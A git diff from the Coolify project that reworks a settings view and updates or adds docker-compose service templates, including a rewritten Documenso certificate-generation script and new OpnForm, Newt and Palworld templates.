-                            helper="Enter the IPv6 address of the instance.<br><br>It is useful if you have several IPv6 addresses and Coolify could not detect the correct one."
-                            placeholder="2001:db8::1" autocomplete="new-password" />
-                    </div>
+                        <div class="flex gap-2 md:flex-row flex-col w-full">
+                            <x-forms.input canGate="update" :canResource="$settings" id="public_ipv4" type="password" label="Instance's Public IPv4"
+                                helper="Enter the IPv4 address of the instance.<br><br>It is useful if you have several IPv4 addresses and Coolify could not detect the correct one."
+                                placeholder="1.2.3.4" autocomplete="new-password" />
+                            <x-forms.input canGate="update" :canResource="$settings" id="public_ipv6" type="password" label="Instance's Public IPv6"
+                                helper="Enter the IPv6 address of the instance.<br><br>It is useful if you have several IPv6 addresses and Coolify could not detect the correct one."
+                                placeholder="2001:db8::1" autocomplete="new-password" />
+                        </div>
+
+                        @if($buildActivityId)
+                            <div class="w-full mt-4">
+                                <livewire:activity-monitor header="Building Helper Image" :activityId="$buildActivityId"
+                                    :fullHeight="false" />
+                            </div>
+                        @endif
+                        @if(isDev())
+                            <x-forms.input canGate="update" :canResource="$settings" id="dev_helper_version" label="Dev Helper Version (Development Only)"
+                                helper="Override the default coolify-helper image version. Leave empty to use the default version from config ({{ config('constants.coolify.helper_version') }}). Examples: 1.0.11, latest, dev"
+                                placeholder="{{ config('constants.coolify.helper_version') }}" />
+                        @endif
                 </div>
-            </div>
-        </form>
-        
-        <x-domain-conflict-modal 
-            :conflicts="$domainConflicts" 
-            :showModal="$showDomainConflictModal" 
-            confirmAction="confirmDomainUsage">
-            <x-slot:consequences>
-                <ul class="mt-2 ml-4 list-disc">
-                    <li>The Coolify instance domain will conflict with existing resources</li>
-                    <li>SSL certificates might not work correctly</li>
-                    <li>Routing behavior will be unpredictable</li>
-                    <li>You may not be able to access the Coolify dashboard properly</li>
-                </ul>
-            </x-slot:consequences>
-        </x-domain-conflict-modal>
-    </div>
-</div>
+            </form>
+
+            <x-domain-conflict-modal :conflicts="$domainConflicts" :showModal="$showDomainConflictModal"
+                confirmAction="confirmDomainUsage">
+                <x-slot:consequences>
+                    <ul class="mt-2 ml-4 list-disc">
+                        <li>The Coolify instance domain will conflict with existing resources</li>
+                        <li>SSL certificates might not work correctly</li>
+                        <li>Routing behavior will be unpredictable</li>
+                        <li>You may not be able to access the Coolify dashboard properly</li>
+                    </ul>
+                </x-slot:consequences>
+            </x-domain-conflict-modal>
+        </div>
+</div>
\ No newline at end of file
diff --git a/templates/compose/codimd.yaml b/templates/compose/codimd.yaml
index 39d44258a..fe947898f 100644
--- a/templates/compose/codimd.yaml
+++ b/templates/compose/codimd.yaml
@@ -10,8 +10,8 @@ services:
     image: nabo.codimd.dev/hackmdio/hackmd:latest
     environment:
       - SERVICE_URL_CODIMD_3000
-      - CMD_DOMAIN=${SERVICE_URL_CODIMD}
-      - CMD_PROTOCOL_USESSL=${CMD_PROTOCOL_USESSL:-false}
+      - CMD_DOMAIN=${SERVICE_FQDN_CODIMD}
+      - CMD_PROTOCOL_USESSL=${CMD_PROTOCOL_USESSL:-true}
       - CMD_SESSION_SECRET=${SERVICE_PASSWORD_SESSIONSECRET}
       - CMD_USECDN=${CMD_USECDN:-false}
       - CMD_DB_URL=postgres://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@postgres:5432/${POSTGRES_DB:-codimd-db}
diff --git a/templates/compose/convex.yaml b/templates/compose/convex.yaml
index ad8728ee1..49f2449df 100644
--- a/templates/compose/convex.yaml
+++ b/templates/compose/convex.yaml
@@ -17,7 +17,7 @@ services:
       - CONVEX_RELEASE_VERSION_DEV=${CONVEX_RELEASE_VERSION_DEV:-}
       - ACTIONS_USER_TIMEOUT_SECS=${ACTIONS_USER_TIMEOUT_SECS:-}
       # URL of the Convex API as accessed by the client/frontend.
-      - CONVEX_CLOUD_ORIGIN=${SERVICE_URL_CONVEX}
+      - CONVEX_CLOUD_ORIGIN=${SERVICE_URL_DASHBOARD}
       # URL of Convex HTTP actions as accessed by the client/frontend.
       - CONVEX_SITE_ORIGIN=${SERVICE_URL_BACKEND}
       - DATABASE_URL=${DATABASE_URL:-}
@@ -49,7 +49,7 @@ services:
   dashboard:
     image: ghcr.io/get-convex/convex-dashboard:33cef775a8a6228cbacee4a09ac2c4073d62ed13
     environment:
-      - SERVICE_URL_CONVEX_6791
+      - SERVICE_URL_DASHBOARD_6791
       # URL of the Convex API as accessed by the dashboard (browser).
       - NEXT_PUBLIC_DEPLOYMENT_URL=${SERVICE_URL_BACKEND}
     depends_on:
diff --git a/templates/compose/documenso.yaml b/templates/compose/documenso.yaml
index 8536945ab..5c1398db5 100644
--- a/templates/compose/documenso.yaml
+++ b/templates/compose/documenso.yaml
@@ -30,6 +30,9 @@ services:
       - NEXT_PRIVATE_DIRECT_DATABASE_URL=postgresql://${SERVICE_USER_POSTGRES}:${SERVICE_PASSWORD_POSTGRES}@database/${POSTGRES_DB:-documenso-db}?schema=public
       - NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH=/app/apps/remix/certs/certificate.p12
       - NEXT_PRIVATE_SIGNING_PASSPHRASE=${SERVICE_PASSWORD_DOCUMENSO}
+      - NEXT_PRIVATE_SIGNING_TRANSPORT=local
+      - NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH=/app/certs/cert.p12
+      - NEXT_PRIVATE_SIGNING_LOCAL_FILE_PASSPHRASE=${SERVICE_PASSWORD_DOCUMENSO}
       - CERT_VALID_DAYS=${CERT_VALID_DAYS:-365}
       - CERT_INFO_COUNTRY_NAME=${CERT_INFO_COUNTRY_NAME:-DO}
       - CERT_INFO_STATE_OR_PROVIDENCE=${CERT_INFO_STATE_OR_PROVIDENCE:-Santiago}
@@ -38,6 +41,7 @@ services:
       - CERT_INFO_ORGANIZATIONAL_UNIT=${CERT_INFO_ORGANIZATIONAL_UNIT:-IT Department}
       - CERT_INFO_EMAIL=${CERT_INFO_EMAIL:-example@gmail.com}
       - NEXT_PUBLIC_DISABLE_SIGNUP=${DISABLE_LOGIN:-false}
+      - SERVICE_PASSWORD_DOCUMENSO=${SERVICE_PASSWORD_DOCUMENSO:-}
     healthcheck:
       test:
         - CMD-SHELL
@@ -49,10 +53,35 @@ services:
       - /bin/sh
       - -c
       - |
-        echo "./certs" > /tmp/certs_dir_path
-        echo "./make-certs.sh" > /tmp/cert_script_path
-        echo "${SERVICE_PASSWORD_DOCUMENSO}" > /tmp/cert_pass
-
+        CERT_PASSPHRASE="$${NEXT_PRIVATE_SIGNING_LOCAL_FILE_PASSPHRASE}"
+        PASSPHRASE_FILE="/tmp/cert_passphrase"
+        
+        # Save original working directory
+        ORIGINAL_DIR="$$(pwd)"
+        
+        # Find openssl binary (should be available in v1.12.10+)
+        OPENSSL_CMD="$$(which openssl 2>/dev/null || command -v openssl 2>/dev/null || echo '/usr/bin/openssl')"
+        
+        # Verify openssl is available
+        if ! $$OPENSSL_CMD version >/dev/null 2>&1; then
+          echo "Error: OpenSSL not found. Please use Documenso image v1.12.10 or later."
+          exit 1
+        fi
+        
+        # Create certificate directory - use /app/certs (writable by user 1001)
+        CERT_DIR="/app/certs"
+        mkdir -p "$$CERT_DIR" || {
+          # Fallback to tmp if app directory not writable
+          CERT_DIR="/tmp/certs"
+          mkdir -p "$$CERT_DIR"
+          echo "Warning: Using fallback directory: $$CERT_DIR"
+        }
+        
+        # Create passphrase file for secure handling (prevents exposure in process list)
+        # This avoids shell word-splitting issues and prevents passphrase from appearing in ps/process list
+        echo -n "$$CERT_PASSPHRASE" > "$$PASSPHRASE_FILE"
+        chmod 600 "$$PASSPHRASE_FILE"
+        
         touch /tmp/cert_info_path
         cat <<EOF > /tmp/cert_info_path
         [ req ]
@@ -68,31 +97,43 @@ services:
         emailAddress = ${CERT_INFO_EMAIL}
         EOF
 
-        cat <<EOF > "$(cat /tmp/cert_script_path)"
-        mkdir -p "$(cat /tmp/certs_dir_path)" && cd "$(cat /tmp/certs_dir_path)"
-
-        openssl genrsa -out private.key 2048
-
-        openssl req \
+        cd "$$CERT_DIR"
+        
+        $$OPENSSL_CMD genrsa -out private.key 2048
+        
+        $$OPENSSL_CMD req \
           -new \
           -x509 \
           -key private.key \
           -out certificate.crt \
-          -days ${CERT_VALID_DAYS} \
+          -days $${CERT_VALID_DAYS} \
           -config /tmp/cert_info_path
-
-        openssl pkcs12 \
+        
+        # Create P12 certificate using file-based passphrase (prevents exposure in process list)
+        # Private key is not encrypted, so we only need -passout (not -passin)
+        $$OPENSSL_CMD pkcs12 \
           -export \
-          -out certificate.p12 \
+          -out cert.p12 \
           -inkey private.key \
           -in certificate.crt \
           -legacy \
-          -password file:/tmp/cert_pass
-        EOF
-        chmod +x "$(cat /tmp/cert_script_path)"
-
-        sh "$(cat /tmp/cert_script_path)"
-
+          -passout file:"$$PASSPHRASE_FILE"
+        
+        # Clean up passphrase file immediately after use
+        rm -f "$$PASSPHRASE_FILE"
+        
+        # Set permissions (may fail if not root, but will work in Coolify)
+        chown 1001:1001 cert.p12 private.key certificate.crt 2>/dev/null || true
+        chmod 400 cert.p12 private.key certificate.crt
+        
+        # Update environment variable if directory changed
+        if [ "$$CERT_DIR" != "/app/certs" ]; then
+          export NEXT_PRIVATE_SIGNING_LOCAL_FILE_PATH="$$CERT_DIR/cert.p12"
+        fi
+        
+        # Return to original directory before starting application
+        cd "$$ORIGINAL_DIR"
+        
         ./start.sh
 
   database:
@@ -107,4 +148,4 @@ services:
       test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"]
       interval: 5s
       timeout: 20s
-      retries: 10
+      retries: 10
\ No newline at end of file
diff --git a/templates/compose/embystat.yaml b/templates/compose/embystat.yaml
index 957f67dfb..84e25d4a8 100644
--- a/templates/compose/embystat.yaml
+++ b/templates/compose/embystat.yaml
@@ -1,7 +1,7 @@
 # documentation: https://github.com/mregni/EmbyStat
 # slogan: EmbyStat is a web analytics tool, designed to provide insight into website traffic and user behavior.
-# category: media
-# tags: media, server, movies, tv, music
+# category: analytics
+# tags: analytics, insights, statistics, web, traffic
 # port: 6555
 
 services:
diff --git a/templates/compose/ghost.yaml b/templates/compose/ghost.yaml
index 695b965e7..85464d731 100644
--- a/templates/compose/ghost.yaml
+++ b/templates/compose/ghost.yaml
@@ -12,7 +12,7 @@ services:
       - ghost-content-data:/var/lib/ghost/content
     environment:
       - SERVICE_URL_GHOST_2368
-      - url=$SERVICE_URL_GHOST_2368
+      - url=$SERVICE_URL_GHOST
       - database__client=mysql
       - database__connection__host=mysql
       - database__connection__user=$SERVICE_USER_MYSQL
diff --git a/templates/compose/mosquitto.yaml b/templates/compose/mosquitto.yaml
index 4c417e746..e52eca84a 100644
--- a/templates/compose/mosquitto.yaml
+++ b/templates/compose/mosquitto.yaml
@@ -34,7 +34,7 @@ services:
       fi &&
       echo ''require_certificate ''$REQUIRE_CERTIFICATE >> /mosquitto/config/mosquitto.conf &&
       echo ''allow_anonymous ''$ALLOW_ANONYMOUS >> /mosquitto/config/mosquitto.conf;
-      if [ -n ''$SERVICE_USER_MOSQUITTO''] && [ -n ''$SERVICE_PASSWORD_MOSQUITTO'' ]; then
+      if [ -n ''$SERVICE_USER_MOSQUITTO'' ] && [ -n ''$SERVICE_PASSWORD_MOSQUITTO'' ]; then
       echo ''password_file /mosquitto/config/passwords'' >> /mosquitto/config/mosquitto.conf &&
       touch /mosquitto/config/passwords &&
       chmod 0700 /mosquitto/config/passwords &&
diff --git a/templates/compose/n8n-with-postgres-and-worker.yaml b/templates/compose/n8n-with-postgres-and-worker.yaml
index 5f6aa5e50..fec28860e 100644
--- a/templates/compose/n8n-with-postgres-and-worker.yaml
+++ b/templates/compose/n8n-with-postgres-and-worker.yaml
@@ -7,7 +7,7 @@
 
 services:
   n8n:
-    image: docker.n8n.io/n8nio/n8n:1.114.4
+    image: docker.n8n.io/n8nio/n8n:1.119.2
     environment:
       - SERVICE_URL_N8N_5678
       - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
@@ -46,7 +46,7 @@ services:
       retries: 10
 
   n8n-worker:
-    image: docker.n8n.io/n8nio/n8n:1.114.4
+    image: docker.n8n.io/n8nio/n8n:1.119.2
     command: worker
     environment:
       - GENERIC_TIMEZONE=${GENERIC_TIMEZONE:-Europe/Berlin}
diff --git a/templates/compose/n8n-with-postgresql.yaml b/templates/compose/n8n-with-postgresql.yaml
index 1a1592f79..94648e958 100644
--- a/templates/compose/n8n-with-postgresql.yaml
+++ b/templates/compose/n8n-with-postgresql.yaml
@@ -7,7 +7,7 @@
 
 services:
   n8n:
-    image: docker.n8n.io/n8nio/n8n:1.114.4
+    image: docker.n8n.io/n8nio/n8n:1.119.2
     environment:
       - SERVICE_URL_N8N_5678
       - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
diff --git a/templates/compose/n8n.yaml b/templates/compose/n8n.yaml
index 3078516a5..4e886b408 100644
--- a/templates/compose/n8n.yaml
+++ b/templates/compose/n8n.yaml
@@ -7,7 +7,7 @@
 
 services:
   n8n:
-    image: docker.n8n.io/n8nio/n8n:1.114.4
+    image: docker.n8n.io/n8nio/n8n:1.119.2
     environment:
       - SERVICE_URL_N8N_5678
       - N8N_EDITOR_BASE_URL=${SERVICE_URL_N8N}
diff --git a/templates/compose/netbird-client.yaml b/templates/compose/netbird-client.yaml
index a7c3f1fb6..4bc5e32e0 100644
--- a/templates/compose/netbird-client.yaml
+++ b/templates/compose/netbird-client.yaml
@@ -7,6 +7,7 @@
 services:
   netbird-client:
     image: 'netbirdio/netbird:latest'
+    network_mode: host
     environment:
       - 'NB_SETUP_KEY=${NB_SETUP_KEY}'
       - 'NB_ENABLE_ROSENPASS=${NB_ENABLE_ROSENPASS:-false}'
diff --git a/templates/compose/newt-pangolin.yaml b/templates/compose/newt-pangolin.yaml
new file mode 100644
index 000000000..7e2db3253
--- /dev/null
+++ b/templates/compose/newt-pangolin.yaml
@@ -0,0 +1,17 @@
+# documentation: https://docs.digpangolin.com/manage/sites/install-site
+# slogan: Pangolin tunnels your services to the internet so you can access anything from anywhere.
+# tags: wireguard, reverse-proxy, zero-trust-network-access, open source
+# logo: svgs/pangolin-logo.png
+
+services:
+  newt:
+    image: fosrl/newt:latest
+    environment:
+      - PANGOLIN_ENDPOINT=${PANGOLIN_ENDPOINT:-https://pangolin.domain.tld}
+      - NEWT_ID=${NEWT_ID:?}
+      - NEWT_SECRET=${NEWT_SECRET:?}
+    healthcheck:
+      test: ["CMD", "newt", "--version"]
+      interval: 5s
+      timeout: 20s
+      retries: 10
diff --git a/templates/compose/openpanel.yaml b/templates/compose/openpanel.yaml
index 4167dab0b..676ae0356 100644
--- a/templates/compose/openpanel.yaml
+++ b/templates/compose/openpanel.yaml
@@ -76,6 +76,7 @@ services:
   openpanel-worker:
     image: lindesvard/openpanel-worker:latest
     environment:
+      - DISABLE_BULLBOARD=${DISABLE_BULLBOARD:-1}
       - NODE_ENV=production
       - NEXT_PUBLIC_SELF_HOSTED=true
       - SERVICE_URL_OPBULLBOARD
diff --git a/templates/compose/opnform.yaml b/templates/compose/opnform.yaml
new file mode 100644
index 000000000..8b4bbe3f5
--- /dev/null
+++ b/templates/compose/opnform.yaml
@@ -0,0 +1,228 @@
+# documentation: https://docs.opnform.com/introduction
+# slogan: OpnForm is an open-source form builder that lets you create beautiful forms and share them anywhere. It's super fast, you don't need to know how to code
+# tags: opnform, form, survey, cloud, open-source, self-hosted, docker, no-code, embeddable
+# logo: svg/opnform.svg
+# port: 80
+
+x-shared-env: &shared-api-env
+  APP_NAME: "OpnForm"
+  APP_ENV: production
+  APP_KEY: ${SERVICE_BASE64_APIKEY}
+  APP_DEBUG: ${APP_DEBUG:-false}
+  APP_URL: ${SERVICE_URL_NGINX}
+  LOG_CHANNEL: errorlog
+  LOG_LEVEL: ${LOG_LEVEL:-debug}
+  FILESYSTEM_DRIVER: ${FILESYSTEM_DRIVER:-local}
+  LOCAL_FILESYSTEM_VISIBILITY: public
+  CACHE_DRIVER: redis
+  QUEUE_CONNECTION: redis
+  SESSION_DRIVER: redis
+  SESSION_LIFETIME: 120
+  MAIL_MAILER: ${MAIL_MAILER:-log}
+  MAIL_HOST: ${MAIL_HOST}
+  MAIL_PORT: ${MAIL_PORT}
+  MAIL_USERNAME: ${MAIL_USERNAME:-your@email.com}
+  MAIL_PASSWORD: ${MAIL_PASSWORD}
+  MAIL_ENCRYPTION: ${MAIL_ENCRYPTION}
+  MAIL_FROM_ADDRESS: ${MAIL_FROM_ADDRESS:-your@email.com}
+  MAIL_FROM_NAME: ${MAIL_FROM_NAME:-OpnForm}
+  AWS_ACCESS_KEY_ID: ${AWS_ACCESS_KEY_ID}
+  AWS_SECRET_ACCESS_KEY: ${AWS_SECRET_ACCESS_KEY}
+  AWS_DEFAULT_REGION: ${AWS_DEFAULT_REGION:-us-east-1}
+  AWS_BUCKET: ${AWS_BUCKET}
+  OPEN_AI_API_KEY: ${OPEN_AI_API_KEY}
+  TELEGRAM_BOT_ID: ${TELEGRAM_BOT_ID}
+  TELEGRAM_BOT_TOKEN: ${TELEGRAM_BOT_TOKEN}
+  REDIS_HOST: redis
+  REDIS_PASSWORD: ${SERVICE_PASSWORD_64_REDIS}
+  # Database settings
+  DB_HOST: postgresql
+  DB_DATABASE: ${POSTGRESQL_DATABASE:-opnform}
+  DB_USERNAME: ${SERVICE_USER_POSTGRESQL}
+  DB_PASSWORD: ${SERVICE_PASSWORD_POSTGRESQL}
+  DB_CONNECTION: pgsql
+  # PHP Configuration
+  PHP_MEMORY_LIMIT: "1G"
+  PHP_MAX_EXECUTION_TIME: "600"
+  PHP_UPLOAD_MAX_FILESIZE: "64M"
+  PHP_POST_MAX_SIZE: "64M"
+
+services:
+  opnform-api:
+    image: jhumanj/opnform-api:1.12.1
+    volumes:
+      - api-storage:/usr/share/nginx/html/storage
+    environment:
+      # Use the shared environment variables.
+      <<: *shared-api-env
+      JWT_TTL: ${JWT_TTL:-1440}
+      JWT_SECRET: ${SERVICE_PASSWORD_JWTSECRET}
+      JWT_SKIP_IP_UA_VALIDATION: ${JWT_SKIP_IP_UA_VALIDATION:-true}
+      H_CAPTCHA_SITE_KEY: ${H_CAPTCHA_SITE_KEY}
+      H_CAPTCHA_SECRET_KEY: ${H_CAPTCHA_SECRET_KEY}
+      RE_CAPTCHA_SITE_KEY: ${RE_CAPTCHA_SITE_KEY}
+      RE_CAPTCHA_SECRET_KEY: ${RE_CAPTCHA_SECRET_KEY}
+      SHOW_OFFICIAL_TEMPLATES: ${SHOW_OFFICIAL_TEMPLATES:-true}
+    depends_on:
+      postgresql:
+        condition: service_healthy
+      redis:
+        condition: service_healthy
+    healthcheck:
+      test: ["CMD-SHELL", "php /usr/share/nginx/html/artisan about || exit 1"]
+      interval: 30s
+      timeout: 15s
+      retries: 3
+      start_period: 60s
+
+  api-worker:
+    image: jhumanj/opnform-api:1.12.1
+    volumes:
+      - api-storage:/usr/share/nginx/html/storage
+    environment:
+      # Use the shared environment variables.
+      <<: *shared-api-env
+    command: ["php", "artisan", "queue:work"]
+    depends_on:
+      postgresql:
+        condition: service_healthy
+      redis:
+        condition: service_healthy
+    healthcheck:
+      test:
+        ["CMD-SHELL", "pgrep -f 'php artisan queue:work' > /dev/null || exit 1"]
+      interval: 60s
+      timeout: 10s
+      retries: 3
+      start_period: 30s
+
+  api-scheduler:
+    image: jhumanj/opnform-api:1.12.1
+    volumes:
+      - api-storage:/usr/share/nginx/html/storage
+    environment:
+      # Use the shared environment variables.
+      <<: *shared-api-env
+    command: ["php", "artisan", "schedule:work"]
+    depends_on:
+      postgresql:
+        condition: service_healthy
+      redis:
+        condition: service_healthy
+    healthcheck:
+      test:
+        [
+          "CMD-SHELL",
+          "php /usr/share/nginx/html/artisan app:scheduler-status --mode=check --max-minutes=3 || exit 1",
+        ]
+      interval: 60s
+      timeout: 30s
+      retries: 3
+      start_period: 70s # Allow time for first scheduled run and cache write
+
+  opnform-ui:
+    image: jhumanj/opnform-client:1.12.1
+    environment:
+      - NUXT_PUBLIC_APP_URL=/
+      - NUXT_PUBLIC_API_BASE=/api
+      - NUXT_PRIVATE_API_BASE=http://nginx/api
+      - NUXT_PUBLIC_ENV=production
+      - NUXT_PUBLIC_H_CAPTCHA_SITE_KEY=${H_CAPTCHA_SITE_KEY}
+      - NUXT_PUBLIC_RE_CAPTCHA_SITE_KEY=${RE_CAPTCHA_SITE_KEY}
+    healthcheck:
+      test:
+        ["CMD-SHELL", "wget --spider -q http://opnform-ui:3000/login || exit 1"]
+      interval: 30s
+      timeout: 10s
+      retries: 3
+      start_period: 45s
+    depends_on:
+      opnform-api:
+        condition: service_healthy
+
+  postgresql:
+    image: postgres:16
+    volumes:
+      - opnform-postgresql-data:/var/lib/postgresql/data
+    environment:
+      - POSTGRES_USER=${SERVICE_USER_POSTGRESQL}
+      - POSTGRES_PASSWORD=${SERVICE_PASSWORD_POSTGRESQL}
+      - POSTGRES_DB=${POSTGRESQL_DATABASE:-opnform}
+    healthcheck:
+      test: ["CMD-SHELL", "pg_isready -U $${POSTGRES_USER} -d $${POSTGRES_DB}"]
+      interval: 5s
+      timeout: 20s
+      retries: 10
+
+  redis:
+    image: redis:7
+    environment:
+      - REDIS_PASSWORD=${SERVICE_PASSWORD_64_REDIS}
+    volumes:
+      - redis-data:/data
+    command: ["redis-server", "--requirepass", "${SERVICE_PASSWORD_64_REDIS}"]
+    healthcheck:
+      test: ["CMD", "redis-cli", "-a", "${SERVICE_PASSWORD_64_REDIS}", "PING"]
+      interval: 10s
+      timeout: 30s
+      retries: 3
+
+  # The nginx reverse proxy.
+  # used for reverse proxying the API service and Web service.
+  nginx:
+    image: nginx:1.29.2
+    environment:
+      - SERVICE_URL_NGINX
+    volumes:
+      - type: bind
+        source: ./nginx/nginx.conf
+        target: /etc/nginx/conf.d/default.conf
+        read_only: true
+        content: |
+          map $original_uri $api_uri {
+              ~^/api(/.*$) $1;
+              default $original_uri;
+          }
+
+          server {
+              listen 80 default_server;
+              root /usr/share/nginx/html/public;
+
+              access_log /dev/stdout;
+              error_log /dev/stderr error;
+
+              index index.html index.htm index.php;
+
+              location / {
+                  proxy_http_version 1.1;
+                  proxy_pass http://opnform-ui:3000;
+                  proxy_set_header X-Real-IP $remote_addr;
+                  proxy_set_header X-Forwarded-Host $host;
+                  proxy_set_header X-Forwarded-Port $server_port;
+                  proxy_set_header Upgrade $http_upgrade;
+                  proxy_set_header Connection "Upgrade";
+              }
+
+              location ~/(api|open|local\/temp|forms\/assets)/ {
+                  set $original_uri $uri;
+                  try_files $uri $uri/ /index.php$is_args$args;
+              }
+
+              location ~ \.php$ {
+                  fastcgi_split_path_info ^(.+\.php)(/.+)$;
+                  fastcgi_pass opnform-api:9000;
+                  fastcgi_index index.php;
+                  include fastcgi_params;
+                  fastcgi_param SCRIPT_FILENAME /usr/share/nginx/html/public/index.php;
+                  fastcgi_param REQUEST_URI $api_uri;
+              }
+          }
+    depends_on:
+      - opnform-api
+      - opnform-ui
+    healthcheck:
+      test: ["CMD", "nginx", "-t"]
+      interval: 30s
+      timeout: 10s
+      retries: 3
+      start_period: 40s
diff --git a/templates/compose/palworld.yaml b/templates/compose/palworld.yaml
new file mode 100644
index 000000000..4875d16f8
--- /dev/null
+++ b/templates/compose/palworld.yaml
@@ -0,0 +1,128 @@
+services:
+  palworld:
+    image: thijsvanloef/palworld-server-docker:v1.4.6
+    stop_grace_period: 30s
+    ports:
+      - '8211:8211/udp'
+      - '27015:27015/udp'
+    volumes:
+      - 'palworld-data:/palworld/'
+    environment:
+      - 'TZ=${TZ:?UTC}'
+      - 'PUID=${PUID:?1000}'
+      - 'PGID=${PGID:?1000}'
+      - 'MULTITHREADING=${MULTITHREADING:?false}'
+      - 'MAX_PLAYERS=${PLAYERS:?16}'
+      - 'SERVER_NAME=${SERVER_NAME:?palworld-server-docker by Thijs van Loef via Coolify}'
+      - 'SERVER_DESCRIPTION=${SERVER_DESCRIPTION:?palworld-server-docker by Thijs van Loef via Coolify}'
+      - 'SERVER_PASSWORD=${SERVER_PASSWORD:?worldofpals}'
+      - 'ADMIN_PASSWORD=${ADMIN_PASSWORD:-adminPassword}'
+      - 'COMMUNITY=${COMMUNITY:?false}'
+      - 'PUBLIC_IP=${PUBLIC_IP:-}'
+      - 'PUBLIC_PORT=${PUBLIC_PORT:?8211}'
+      - 'PORT=${PORT:?8211}'
+      - 'QUERY_PORT=${QUERY_PORT:?27015}'
+      - 'UPDATE_ON_BOOT=${UPDATE_ON_BOOT:?true}'
+      - 'RCON_ENABLED=${RCON_ENABLED:?true}'
+      - 'RCON_PORT=${RCON_PORT:?25575}'
+      - 'BACKUP_ENABLED=${BACKUP_ENABLED:?true}'
+      - 'DELETE_OLD_BACKUPS=${DELETE_OLD_BACKUPS:?false}'
+      - 'OLD_BACKUP_DAYS=${OLD_BACKUP_DAYS:?30}'
+      - 'BACKUP_CRON_EXPRESSION=${BACKUP_CRON_EXPRESSION:?0 0 * * *}'
+      - 'AUTO_UPDATE_ENABLED=${AUTO_UPDATE_ENABLED:?false}'
+      - 'AUTO_UPDATE_CRON_EXPRESSION=${AUTO_UPDATE_CRON_EXPRESSION:?0 * * * *}'
+      - 'AUTO_UPDATE_WARN_MINUTES=${AUTO_UPDATE_WARN_MINUTES:?30}'
+      - 'AUTO_REBOOT_ENABLED=${AUTO_REBOOT_ENABLED:?false}'
+      - 'AUTO_REBOOT_EVEN_IF_PLAYERS_ONLINE=${AUTO_REBOOT_EVEN_IF_PLAYERS_ONLINE:?false}'
+      - 'AUTO_REBOOT_WARN_MINUTES=${AUTO_REBOOT_WARN_MINUTES:?5}'
+      - 'AUTO_REBOOT_CRON_EXPRESSION=${AUTO_REBOOT_CRON_EXPRESSION:?0 0 * * *}'
+      - 'AUTO_PAUSE_ENABLED=${AUTO_PAUSE_ENABLED:?false}'
+      - 'AUTO_PAUSE_TIMEOUT_EST=${AUTO_PAUSE_TIMEOUT_EST:?180}'
+      - 'AUTO_PAUSE_LOG=${AUTO_PAUSE_LOG:?true}'
+      - 'AUTO_PAUSE_DEBUG=${AUTO_PAUSE_DEBUG:?false}'
+      - 'ENABLE_PLAYER_LOGGING=${ENABLE_PLAYER_LOGGING:?true}'
+      - 'PLAYER_LOGGING_POLL_PERIOD=${PLAYER_LOGGING_POLL_PERIOD:?5}'
+      - 'DIFFICULTY=${DIFFICULTY:?None}'
+      - 'RANDOMIZER_TYPE=${RANDOMIZER_TYPE:-}'
+      - 'RANDOMIZER_SEED=${RANDOMIZER_SEED:?none}'
+      - 'DAYTIME_SPEEDRATE=${DAYTIME_SPEEDRATE:?1.000000}'
+      - 'NIGHTTIME_SPEEDRATE=${NIGHTTIME_SPEEDRATE:?1.000000}'
+      - 'EXP_RATE=${EXP_RATE:?1.000000}'
+      - 'PAL_CAPTURE_RATE=${PAL_CAPTURE_RATE:?1.000000}'
+      - 'PAL_SPAWN_NUM_RATE=${PAL_SPAWN_NUM_RATE:?1.000000}'
+      - 'PAL_DAMAGE_RATE_ATTACK=${PAL_DAMAGE_RATE_ATTACK:?1.000000}'
+      - 'PAL_DAMAGE_RATE_DEFENSE=${PAL_DAMAGE_RATE_DEFENSE:?1.000000}'
+      - 'PLAYER_DAMAGE_RATE_ATTACK=${PLAYER_DAMAGE_RATE_ATTACK:?1.000000}'
+      - 'PLAYER_DAMAGE_RATE_DEFENSE=${PLAYER_DAMAGE_RATE_DEFENSE:?1.000000}'
+      - 'PLAYER_STOMACH_DECREASE_RATE=${PLAYER_STOMACH_DECREASE_RATE:?1.000000}'
+      - 'PLAYER_STAMINA_DECREASE_RATE=${PLAYER_STAMINA_DECREASE_RATE:?1.000000}'
+      - 'PLAYER_AUTO_HP_REGEN_RATE=${PLAYER_AUTO_HP_REGEN_RATE:?1.000000}'
+      - 'PLAYER_AUTO_HP_REGEN_RATE_IN_SLEEP=${PLAYER_AUTO_HP_REGEN_RATE_IN_SLEEP:?1.000000}'
+      - 'PAL_STOMACH_DECREASE_RATE=${PAL_STOMACH_DECREASE_RATE:?1.000000}'
+      - 'PAL_STAMINA_DECREASE_RATE=${PAL_STAMINA_DECREASE_RATE:?1.000000}'
+      - 'PAL_AUTO_HP_REGEN_RATE=${PAL_AUTO_HP_REGEN_RATE:?1.000000}'
+      - 'PAL_AUTO_HP_REGEN_RATE_IN_SLEEP=${PAL_AUTO_HP_REGEN_RATE_IN_SLEEP:?1.000000}'
+      - 'BUILD_OBJECT_HP_RATE=${BUILD_OBJECT_HP_RATE:?1.000000}'
+      - 'BUILD_OBJECT_DAMAGE_RATE=${BUILD_OBJECT_DAMAGE_RATE:?1.000000}'
+      - 'BUILD_OBJECT_DETERIORATION_DAMAGE_RATE=${BUILD_OBJECT_DETERIORATION_DAMAGE_RATE:?1.000000}'
+      - 'COLLECTION_DROP_RATE=${COLLECTION_DROP_RATE:?1.000000}'
+      - 'COLLECTION_OBJECT_HP_RATE=${COLLECTION_OBJECT_HP_RATE:?1.000000}'
+      - 'COLLECTION_OBJECT_RESPAWN_SPEED_RATE=${COLLECTION_OBJECT_RESPAWN_SPEED_RATE:?1.000000}'
+      - 'ENEMY_DROP_ITEM_RATE=${ENEMY_DROP_ITEM_RATE:?1.000000}'
+      - 'DEATH_PENALTY=${DEATH_PENALTY:?All}'
+      - 'ENABLE_PLAYER_TO_PLAYER_DAMAGE=${ENABLE_PLAYER_TO_PLAYER_DAMAGE:?False}'
+      - 'ENABLE_FRIENDLY_FIRE=${ENABLE_FRIENDLY_FIRE:?False}'
+      - 'ENABLE_INVADER_ENEMY=${ENABLE_INVADER_ENEMY:?True}'
+      - 'ACTIVE_UNKO=${ACTIVE_UNKO:?False}'
